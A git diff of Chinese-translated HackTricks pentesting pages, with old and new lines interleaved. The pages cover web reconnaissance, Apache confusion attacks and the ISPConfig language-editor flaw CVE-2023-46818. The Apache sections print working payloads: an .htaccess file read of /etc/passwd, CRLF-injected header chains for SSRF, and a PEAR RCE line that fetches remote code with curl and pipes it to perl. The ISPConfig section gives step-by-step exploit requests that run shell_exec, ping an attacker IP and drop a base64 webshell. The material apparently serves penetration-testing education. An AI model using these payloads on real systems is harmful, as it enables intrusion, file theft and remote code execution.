- **API keys**: 如果你发现任何 API key有一些项目可以指导如何使用不同平台的 API keys: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: 如果你发现任何**AIza** 开头的 API key例如 **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik你可以使用项目 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 检查该 key 可以访问哪些 API
- **S3 Buckets**: 在 spidering 时查看是否有任何 **子域****链接** 与某个 **S3 bucket** 相关。如果是这样,去[**检查** the **permissions** of the bucket](buckets/index.html)。
- **Comments:** 检查所有文件的注释,可能会发现 **credentials** 或 **隐藏功能**
- 如果你在玩 **CTF**,一个“常见”技巧是在页面右侧的注释中**隐藏**信息(使用**数百个空格**,以便在浏览器中打开源代码时看不到数据)。另一种可能性是使用**多个换行符**并在页面底部的注释中隐藏信息。
- **API keys**: 如果你**找到任何 API key**,有一些项目指导如何利用不同平台的 API key[**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: 如果你发现任何类似 **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik 的 API key你可以使用项目 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 来检查该 key 可以访问哪些 api
- **S3 Buckets**: 在 spidering 过程中查看是否有任何 **subdomain****link** 与某个 **S3 bucket** 相关。如果有,参见 [**check** the **permissions** of the bucket](buckets/index.html)。
### Special findings
在执行 **spidering****brute-forcing** 时,你可能会发现一些需要注意的 **有趣** **内容**
在执行 **spidering****brute-forcing** 时,你可能会发现一些需要注意的**有趣**内容。
**有趣的文件**
**Interesting files**
- 查找 **CSS** 文件中指向其他文件的 **链接**。
- **CSS** 文件中查找指向其他文件的 **links**。
- [If you find a _**.git**_ file some information can be extracted](git.md)
- 如果你发现一个 _**.env**_ 文件,可能会泄露诸如 api keys、数据库密码等信息。
- 如果你发现 **API endpoints**,你[也应该对它们进行测试](web-api-pentesting.md)。这些不一定是文件,但通常“看起来像”文件。
- **JS files**: 在 spidering 部分列出了一些可以从 JS 文件中提取路径的工具。同样,监视每个发现的 JS 文件也很有意义,因为在某些情况下,文件的变化可能表明代码中引入了潜在的漏洞。你可以例如使用 [**JSMon**](https://github.com/robre/jsmon)**.**
- 你还应该使用 [**RetireJS**](https://github.com/retirejs/retire.js/) 或 [**JSHole**](https://github.com/callforpapers-source/jshole) 检查发现的 JS 文件以判断其是否存在已知漏洞。
- 如果你找到 _**.env**_,可能会发现 api keys、db 密码和其他信息。
- 如果你发现 **API endpoints**,你[也应该测试它们](web-api-pentesting.md)。这些虽然不是文件,但通常“看起来像”文件。
- **JS files**: 在 spidering 部分提到了几种可从 JS 文件中提取路径的工具。此外,建议**监控**每个发现的 JS 文件,因为在某些情况下,文件的改变可能表明代码中引入了潜在漏洞。你可以使用例如 [**JSMon**](https://github.com/robre/jsmon)**。**
- 你还应该使用 [**RetireJS**](https://github.com/retirejs/retire.js/) 或 [**JSHole**](https://github.com/callforpapers-source/jshole) 检查发现的 JS 文件是否存在已知漏洞。
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- 在多次场景中,你需要 **理解正则表达式** 的含义。这将很有用: [https://regex101.com/](https://regex101.com) 或 [https://pythonium.net/regex](https://pythonium.net/regex)
- 你也可以**监控检测到表单的文件**,因为参数的变化或新表单的出现可能表明新的潜在易受攻击的功能。
- 在很多场合,你需要**理解正则表达式**的用法。这些站点会很有用: [https://regex101.com/](https://regex101.com) 或 [https://pythonium.net/regex](https://pythonium.net/regex)
- 你也可以**监控**检测到表单的文件,因为参数的变化或新表单的出现可能表明新的潜在易受攻击的功能。
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
@ -312,28 +312,28 @@ _注意每当在 brute-forcing 或 spidering 过程中发现新目录时,
**502 Proxy Error**
如果任何页面返回该状态码,可能是代理配置不正确。**如果你发送一个 HTTP 请求例如: `GET https://google.com HTTP/1.1`**(带有 host header 和其他常见头),代理会尝试访问 _**google.com**_,此时你就可能发现一个 SSRF。
如果任何页面返回该 **状态码**,很可能是 **代理配置错误**。如果你发送一个类似 `GET https://google.com HTTP/1.1` 的 HTTP 请求(包含 host header 和其他常见头),代理会尝试访问 _**google.com**_,此时你就可能发现一个 SSRF。
**NTLM Authentication - Info disclosure**
如果要求身份验证的服务器是 **Windows**,或者你遇到一个要求你输入 **凭据**(并要求 **域名**)的登录,你可以诱发**信息泄露**。\
发送头`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于 **NTLM authentication** 的工作机制,服务器会在 "WWW-Authenticate" 头中返回内部信息IIS 版本、Windows 版本...)。\
你可以使用 nmap 插件 "_http-ntlm-info.nse_" 来**自动化**此过程。
如果要求认证的运行服务器是 **Windows**,或者你遇到一个要求你输入 **credentials**(并要求 **domain** **name**)的登录,你可以诱发**信息泄露**。\
发送头:`“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`,由于 **NTLM authentication** 的工作方式,服务器会在头 "WWW-Authenticate" 中返回内部信息IIS 版本、Windows 版本等)。\
你可以使用 nmap 插件 "_http-ntlm-info.nse_" 来自动化此过程。
**HTTP Redirect (CTF)**
可以在重定向中**放入内容**。这些内容不会显示给用户(因为浏览器会执行重定向),但可能在其中隐藏一些信息。
可以在重定向中**放入内容**。这些内容**不会显示给用户**(因为浏览器会执行重定向),但可能在其中隐藏信息。
### Web Vulnerabilities Checking
现在已经对 web 应用进行了全面的枚举,是时候检查许多可能的漏洞了。你可以在这里找到检查清单:
在对 web 应用进行全面枚举之后,就该检查大量可能的漏洞了。你可以在下面找到检查清单:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
关于 web 漏洞的更多信息:
更多关于 web 漏洞的信息:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
@ -341,7 +341,7 @@ _注意每当在 brute-forcing 或 spidering 过程中发现新目录时,
### Monitor Pages for changes
你可以使用诸如 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 之类的工具来监控页面修改,这些修改可能引入漏洞
你可以使用 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 这样的工具来监控页面的变更,以便检测可能引入漏洞的修改
### HackTricks Automatic Commands
```

View File

@ -4,11 +4,11 @@
## 可执行的 PHP 扩展
检查 Apache 服务器正在执行哪些扩展。要搜索它们,您可以执行:
检查 Apache 服务器正在执行哪些扩展。要查找它们,你可以执行:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
此外,有些地方可以找到此配置:
此外,您可以在以下一些位置找到此配置:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -21,14 +21,14 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## 通过 .htaccess 的 ErrorDocument file provider 实现 LFI (ap_expr)
## LFI 通过 .htaccess ErrorDocument 文件提供程序 (ap_expr)
如果你能控制某目录的 .htaccess且该路径的 AllowOverride 包含 FileInfo就可以在 ErrorDocument 中使用 ap_expr 的 file() 函数将 404 响应转为任意本地文件读取。
如果你能控制某个目录的 .htaccess 且 AllowOverride 包含该路径的 FileInfo你可以通过在 ErrorDocument 中使用 ap_expr 的 file() 函数将 404 响应转为任意本地文件读取。
- 要求:
- Apache 2.4,启用 expression parser (ap_expr)2.4 中为默认)。
- vhost/dir 必须允许 .htaccess 设置 ErrorDocumentAllowOverride FileInfo
- Apache worker 用户必须对目标文件具有读取权限。
- Apache 2.4 且启用 expression parser (ap_expr)2.4 中默认启用)。
- 虚拟主机/目录必须允许 .htaccess 设置 ErrorDocumentAllowOverride FileInfo
- Apache 工作进程用户必须对目标文件具有读取权限。
.htaccess payload:
```apache
@ -37,17 +37,17 @@ Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
通过请求该目录下任何不存在的路径来触发,例如在滥用 userdir-style hosting 时:
通过请求该目录下任何不存在的路径来触发,例如在滥用 userdir-style hosting 时:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
Notes and tips:
- Only absolute paths work. The content is returned as the response body for the 404 handler.
- Effective read permissions are those of the Apache user (typically www-data/apache). You wont read /root/* or /etc/shadow in default setups.
- Even if .htaccess is root-owned, if the parent directory is tenant-owned and permits rename, you may be able to rename the original .htaccess and upload your own replacement via SFTP/FTP:
注意和提示:
- 只有绝对路径有效。内容会作为 404 处理程序的响应主体返回。
- 实际的读取权限以 Apache 用户 为准(通常是 www-data/apache。在默认设置下你无法读取 /root/* 或 /etc/shadow。
- 即使 .htaccess 属于 root如果父目录属于租户并允许重命名你可能能够重命名原始的 .htaccess 并通过 SFTP/FTP 上传你自己的替换文件:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Use this to read application source under DocumentRoot or vhost config paths to harvest secrets (DB creds, API keys, etc.).
- 可利用此方法读取 DocumentRoot 或 vhost 配置路径下的应用程序源代码,以窃取密钥(如 DB creds、API keys 等)。
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
@ -57,11 +57,11 @@ These types of attacks has been introduced and documented [**by Orange in this b
#### Truncation
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). 这并不完全错误,因为大多数模块会把 `r->filename` 当作 URL 处理。但在其他情况下,它会被当作文件路径处理,这就会造成问题。
- **Path Truncation**
It's possible to abuse `mod_rewrite` like in the following rule example to access other files inside the file system, removing the last part of the expected path adding simply a `?`:
可以像下面的规则示例一样滥用 `mod_rewrite` 来访问文件系统中的其他文件,只需在预期路径的末尾添加一个 `?` 来移除最后一部分即可:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -74,9 +74,9 @@ curl http://server/user/orange
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **误导性 RewriteFlag 赋值**
- **Mislead RewriteFlag Assignment**
在下面的重写规则中,只要 URL 以 .php 结尾,它就会被视为并作为 php 执行。因此,可以发送一个在 `?` 字符之后以 .php 结尾的 URL同时在路径中加载不同类型的文件例如图像),该文件内部包含恶意 php 代码:
在下面的重写规则中,只要 URL 以 .php 结尾,就会被当作 php 处理并执行。因此,可以在 `?` 字符之后发送一个以 .php 结尾的 URL同时在路径中加载不同类型的文件例如图片),该文件内部包含恶意 php 代码:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
```
#### **ACL Bypass**
可以访问本不应被访问的文件,即使通过如下配置访问应该被拒绝
可以访问用户本不应能访问的文件,即使配置应该拒绝访问,例如
```xml
<Files "admin.php">
AuthType Basic
@ -100,14 +100,14 @@ AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
这是因为默认情况下 PHP-FPM 会接收以 `.php` 结尾的 URL例如 `http://server/admin.php%3Fooo.php`,并且由于 PHP-FPM 会移除字符 `?` 之后的所有内容,前面的 URL 将允许加载 `/admin.php`,即使之前的规则禁止它。
这是因为默认情况下PHP-FPM 会接收以 `.php` 结尾的 URL例如 `http://server/admin.php%3Fooo.php`,并且 PHP-FPM 会移除 `?` 字符之后的任何内容,因此上述 URL 将允许加载 `/admin.php`,即使之前的规则禁止它。
### DocumentRoot 混淆
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
关于 Apache 的一个有趣事实是,前面的 rewrite 会尝试同时从 documentRoot 和 root 访问文件。因此,对 `https://server/abouth.html` 的请求会在文件系统中检查 `/var/www/html/about.html``/about.html`。这基本上可以被滥用来访问文件系统中的文件。
关于 Apache 的一个有趣事实是,前面的 rewrite 会同时尝试从 documentRoot 和 root 访问文件。因此,对 `https://server/abouth.html` 的请求会在文件系统中检查 `/var/www/html/about.html``/about.html`。这基本上可以被滥用来访问文件系统中的文件。
#### **Server-Side Source Code Disclosure**
@ -123,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# ...
# # the source code of download.cgi
```
- **披露 PHP Source Code**
- **泄露 PHP 源代码**
如果服务器配置了多个域名,其中一个是静态域名,攻击者可以滥用它来遍历文件系统并 leak php code:
如果服务器有不同的域名,其中一个为静态域名,则可以滥用该情况遍历文件系统并 leak php 代码:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Local Gadgets Manipulation**
#### **本地 Gadgets 操作**
之前攻击的主要问题是,默认情况下对文件系统的大多数访问会被拒绝,如 Apache HTTP Server 的 [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115)
之前攻击的主要问题是,默认情况下对文件系统的大多数访问会被拒绝,如 Apache HTTP Server 的 [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115) 中所示
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
然而[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 操作系统默认允许 `/usr/share`
但是[Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) 操作系统默认允许 `/usr/share`
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
因此,可以在这些发行版中**滥用位于 `/usr/share` 的文件。**
Therefore, it would be possible to **abuse files located inside `/usr/share` in these distributions.**
**Local Gadget to Information Disclosure**
**本地 Gadget 导致 Information Disclosure**
- **Apache HTTP Server** with **websocketd** 可能会在 **/usr/share/doc/websocketd/examples/php/** 暴露 **dump-env.php** 脚本,这可能会 leak 敏感的环境变量。
- 使用 **Nginx****Jetty** 的服务器可能会通过放置在 **/usr/share** 下的默认 web 根暴露敏感的 web 应用信息(例如 **web.xml**
- **Apache HTTP Server** with **websocketd** may expose the **dump-env.php** script at **/usr/share/doc/websocketd/examples/php/**,这可能会 leak 敏感的环境变量。
- 部署有 **Nginx****Jetty** 的服务器可能会通过位于 **/usr/share** 下的默认 web 根暴露敏感的 web 应用信息(例如 **web.xml**
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Local Gadget to XSS**
**本地 Gadget 导致 XSS**
- 在安装了 **LibreOffice** 的 Ubuntu Desktop 上,利用帮助文件的语言切换功能可能导致 **Cross-Site Scripting (XSS)****/usr/share/libreoffice/help/help.html** 操作 URL 可以通过不安全的 RewriteRule 重定向到恶意页面或旧版本。
- 在安装了 **LibreOffice** 的 Ubuntu Desktop 上,利用帮助文件的语言切换功能可能导致 **Cross-Site Scripting (XSS)**通过操纵位于 **/usr/share/libreoffice/help/help.html** 的 URL可以通过不安全的 **RewriteRule** 重定向到恶意页面或旧版本。
**Local Gadget to LFI**
**本地 Gadget 导致 LFI**
- 如果安装了 PHP 或某些前端包(如 **JpGraph****jQuery-jFeed**),它们的文件可能被利用来读取敏感文件如 **/etc/passwd**
- 如果安装了 PHP 或某些前端包(如 **JpGraph****jQuery-jFeed**),它们的文件可能被利用来读取敏感文件,例**/etc/passwd**
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Local Gadget to SSRF**
**本地 Gadget 导致 SSRF**
- 利用 **MagpieRSS****magpie_debug.php**(位于 **/usr/share/php/magpierss/scripts/magpie_debug.php**)可以很容易地构造出 SSRF 漏洞,为进一步利用提供入口。
- 利用 **MagpieRSS 的 magpie_debug.php**(位于 **/usr/share/php/magpierss/scripts/magpie_debug.php**)可以轻易制造 SSRF 漏洞,为进一步利用提供入口。
**Local Gadget to RCE**
**本地 Gadget 导致 RCE**
- 存在大量可导致 **Remote Code Execution (RCE)** 的机会,例如过时的 **PHPUnit****phpLiteAdmin** 安装可以利用这些来执行任意代码,展示本地 gadget 操作的广泛潜力。
- Remote Code Execution (RCE) 的机会很多,像过时的 **PHPUnit****phpLiteAdmin** 等易受攻击的安装可以利用来执行任意代码,展示本地 gadget 操作的广泛潜力。
#### **Jailbreak from Local Gadgets**
#### **从本地 Gadgets 越狱**
也可以通过跟随这些文件夹中安装软件生成的符号链接从允许的文件夹中实现越狱,例如:
也可以通过跟随已安装软件在这些文件夹中生成的符号链接从允许的文件夹中越狱,例如:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -186,55 +186,55 @@ Require all granted
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
此外,滥用符号链接曾导致在 Redmine 中获得 **RCE**
此外,通过滥用符号链接曾经能够在 Redmine 中获得 **RCE**
### Handler Confusion <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
攻击利用了 `AddHandler``AddType` 指令在功能上的重叠,这两者都可以用来 **启用 PHP 处理**。最初,这些指令分别影响服务器内部结构中的不同字段(分别为 `r->handler``r->content_type`)。然而,由于遗留代码的存在Apache 在某些条件下会互换处理这些指令:如果设置了 `r->content_type``r->handler` 未设置,会将 `r->content_type` 转换为 `r->handler`
此攻击利用了 `AddHandler``AddType` 指令功能重叠的情况,两者都可用于 **enable PHP processing**。最初,这些指令在服务器内部结构中影响不同的字段(分别为 `r->handler``r->content_type`。然而由于遗留代码Apache 在某些条件下会互换处理这些指令:如果设置了 `r->content_type``r->handler` 未设置,会将 `r->content_type` 转换为 `r->handler`
此外,在 Apache HTTP Server`server/config.c#L420`)中,如果在执行 `ap_run_handler()` 之前 `r->handler` 为空,服务器会**使用 `r->content_type` 作为 handler**实际上使 `AddType``AddHandler` 在效果上等同。
此外,在 Apache HTTP Server`server/config.c#L420`)中,如果在执行 `ap_run_handler()` 之前 `r->handler` 为空,服务器会 **使用 `r->content_type` 作为 handler**,实际上使 `AddType``AddHandler` 在效果上等同。
#### **Overwrite Handler to Disclose PHP Source Code**
在 [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) 中展示了一个漏洞:客户端发送不正确`Content-Length` 可能导致 Apache 错误地**返回 PHP 源代码**。这是由于 ModSecurity 与 Apache Portable Runtime (APR) 的错误处理问题,双重响应会导致 `r->content_type`覆盖为 `text/html`。\
因为 ModSecurity 正确处理返回值,它会返回 PHP 代码而不会对其进行解释。
在 [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) 中展示了一个漏洞:客户端发送的错误 `Content-Length` 可能导致 Apache 错误地 **返回 PHP 源代码**。这是由于 ModSecurity 与 Apache Portable Runtime (APR) 的错误处理问题,当发生双重响应时会将 `r->content_type` 覆盖为 `text/html`。\
因为 ModSecurity 没有正确处理返回值,它会返回 PHP 代码而不会对其进行解释。
#### **Overwrite Handler to XXXX**
TODO: Orange hasn't disclose this vulnerability yet
TODO: Orange 尚未披露此漏洞
### **Invoke Arbitrary Handlers**
如果攻击者能够控制服务器响应中的 **`Content-Type`** 头,他将能够**调用任意模块 handler**。不过,到攻击者控制该头时,请求的大部分处理流程通常已完成。然而,可以通过滥用 `Location`来**重启请求处理流程**,因为如果返回的 `Status` 为 200 且 `Location` 头以 `/` 开头,该响应被视为服务器端重定向并应被重新处理。
如果攻击者能够控制服务器响应中的 **`Content-Type`** 头,他就能够 **invoke arbitrary module handlers**。不过,到了攻击者能控制这一点时,请求的大部分处理流程通常已完成。然而,可以通过滥用 `Location` **重启请求流程**,因为如果返回的 `Status` 为 200 且 `Location` 头以 `/` 开头,该响应被视为服务器端重定向Server-Side Redirection并应被重新处理。
根据 [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875)(关于 CGI 的规范)在 [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) 中定义了本地重定向响应行为:
根据 [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875)(关于 CGI 的规范)在 [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) 中定义了本地重定向响应行为:
> CGI 脚本可以在 Location 头字段返回本地资源的 URI 路径和查询字符串“local-pathquery”。这表示服务器应使用指定的路径重新处理该请求。
> CGI script 可以在 Location header field 中返回一个指向本地资源的 URI 路径和查询字符串local-pathquery。这表示服务器应该使用指定的路径重新处理该请求。
因此,要执行此攻击,需具备以下其中之一的漏洞:
因此,要执行此攻击,需具备以下之一的漏洞:
- CGI 响应头中的 CRLF 注入CRLF Injection
- 能完全控制响应头的 SSRF
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
#### **Arbitrary Handler to Information Disclosure**
例如 `/server-status` 应仅在本地可访问:
For example `/server-status` should only be accessible locally:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
可以通过将 `Content-Type` 设置为 `server-status` 并将 Location 头设置为以 `/` 开头来访问它。
可以通过将 `Content-Type` 设置为 `server-status` 并将 Location header 的值设为以 `/` 开头来访问它。
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Arbitrary Handler to Full SSRF**
#### **从任意处理程序到完全 SSRF**
重定向到 `mod_proxy` 以访问任何 URL 上的任何协议:
重定向到 `mod_proxy` 以访问任意 URL 上的任意协议:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
@ -243,9 +243,9 @@ http://example.com/%3F
%0d%0a
%0d%0a
```
但是,已添加 `X-Forwarded-For`,阻止访问云元数据端点。
然而,`X-Forwarded-For` 头被添加,阻止访问云元数据端点。
#### **任意处理程序以访问本地 Unix 域套接字**
#### **任意 Handler 用于访问本地 Unix 域套接字**
访问 PHP-FPM 的本地 Unix 域套接字以执行位于 `/tmp/` 的 PHP 后门:
```
@ -256,7 +256,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0
```
#### **Arbitrary Handler to RCE**
官方 [PHP Docker](https://hub.docker.com/_/php) 镜像包含 PEAR (`Pearcmd.php`),这是一个命令行 PHP 包管理工具,可能被滥用以获取 RCE:
官方 [PHP Docker](https://hub.docker.com/_/php) 镜像包含 PEAR (`Pearcmd.php`),这是一个命令行 PHP 包管理工具,可被滥用以获得 RCE
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -265,9 +265,9 @@ orange.tw/x|perl
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
查看 [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp),作者 [Phith0n](https://x.com/phithon_xg),以获取技术的详细信息。
详情请参阅 [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp),作者 [Phith0n](https://x.com/phithon_xg),以获取技术的详细信息。
## References
## 参考资料
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)

View File

@ -4,36 +4,36 @@
## 概述
ISPConfig 是一个开源的托管控制面板。较旧的 3.2.x 版本包含一个语言文件编辑器功能,当为 超级管理员 启用时,允许通过格式错误的翻译记录注入任意 PHP 代码。 这可能在 web 服务器上下文中导致 RCE并且取决于 PHP 的执行方式,可能导致 privilege escalation
ISPConfig 是一个开源的托管控制面板。较旧的 3.2.x 构建包含一个语言文件编辑器功能,当为超级管理员启用时,允许通过畸形的翻译记录注入任意 PHP 代码。这可能在 web 服务器上下文中导致 RCE并且取决于 PHP 的执行方式,可能引起权限提升
主要默认路径:
- 当通过 `php -S` 或通过 Apache/nginx 提供服务时Web 根目录通常位于 `/var/www/ispconfig`
- Admin UI 可在 HTTP(S) vhost 上访问(有时仅绑定到 localhost如有需要请使用 SSH port-forward)。
关键默认路径:
- 当使用 `php -S` 或通过 Apache/nginx 提供服务时Web 根目录通常位于 `/var/www/ispconfig`
- 管理界面可通过 HTTP(S) vhost 访问(有时仅绑定到 localhost如有需要使用 SSH 端口转发)。
提示:如果面板绑定本地(例如 `127.0.0.1:8080`),请进行端口转发:
提示:如果面板绑定本地(例如 `127.0.0.1:8080`),请进行端口转发:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## 语言编辑器 PHP 代码注入 (CVE-2023-46818)
- 受影响ISPConfig 最高到 3.2.11(在 3.2.11p1 修复)
- 先决条件:
- 使用内置的 superadmin 账户 `admin` 登录(根据供应商说法,其他角色不受影响)
- 必须启用语言编辑器:在 `/usr/local/ispconfig/security/security_settings.ini` 中设置 `admin_allow_langedit=yes`
- 影响:经过认证的 admin 可以注入任意 PHP写入语言文件并被应用执行从而在 web 环境中实现 RCE
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account `admin` (other roles are not affected according to the vendor)
- Language editor must be enabled: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
参考NVD 条目 CVE-2023-46818 以及下方 References 部分的供应商公告链接。
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
### 手动利用流程
1) 打开/创建语言文件以获取 CSRF token
1) 打开/创建一个语言文件以获取 CSRF 令牌
发送第一次 POST 初始化表单,并从 HTML 响应中解析 CSRF 字段(`csrf_id`, `csrf_key`)。示例请求路径:`/admin/language_edit.php`
发送第一次 POST 初始化表单,并从 HTML 响应中解析 CSRF 字段(`csrf_id`, `csrf_key`)。示例请求路径:`/admin/language_edit.php`.
2) 通过 records[] 注入 PHP 并保存
提交第二次 POST包含 CSRF 字段和恶意的翻译记录。最小命令执行探测
提交第二次 POST包含 CSRF 字段和一个恶意的翻译记录。最小命令执行探针
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
@ -42,46 +42,46 @@ Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
带外测试(观察 ICMP
带外测试(监测 ICMP
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) 写入文件并放置 webshell
3) 写入文件并部署 webshell
使用 `file_put_contents`一个可被 web 访问的路径下(例如,`admin/`)创建文件
使用 `file_put_contents`可被 web 访问的路径下创建文件(例如 `admin/`
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
然后写一个简单的 webshell使用 base64 来避免 POST 请求体中的非法字符:
然后写一个简单的 webshell使用 base64 来避免 POST body 中的坏字符:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
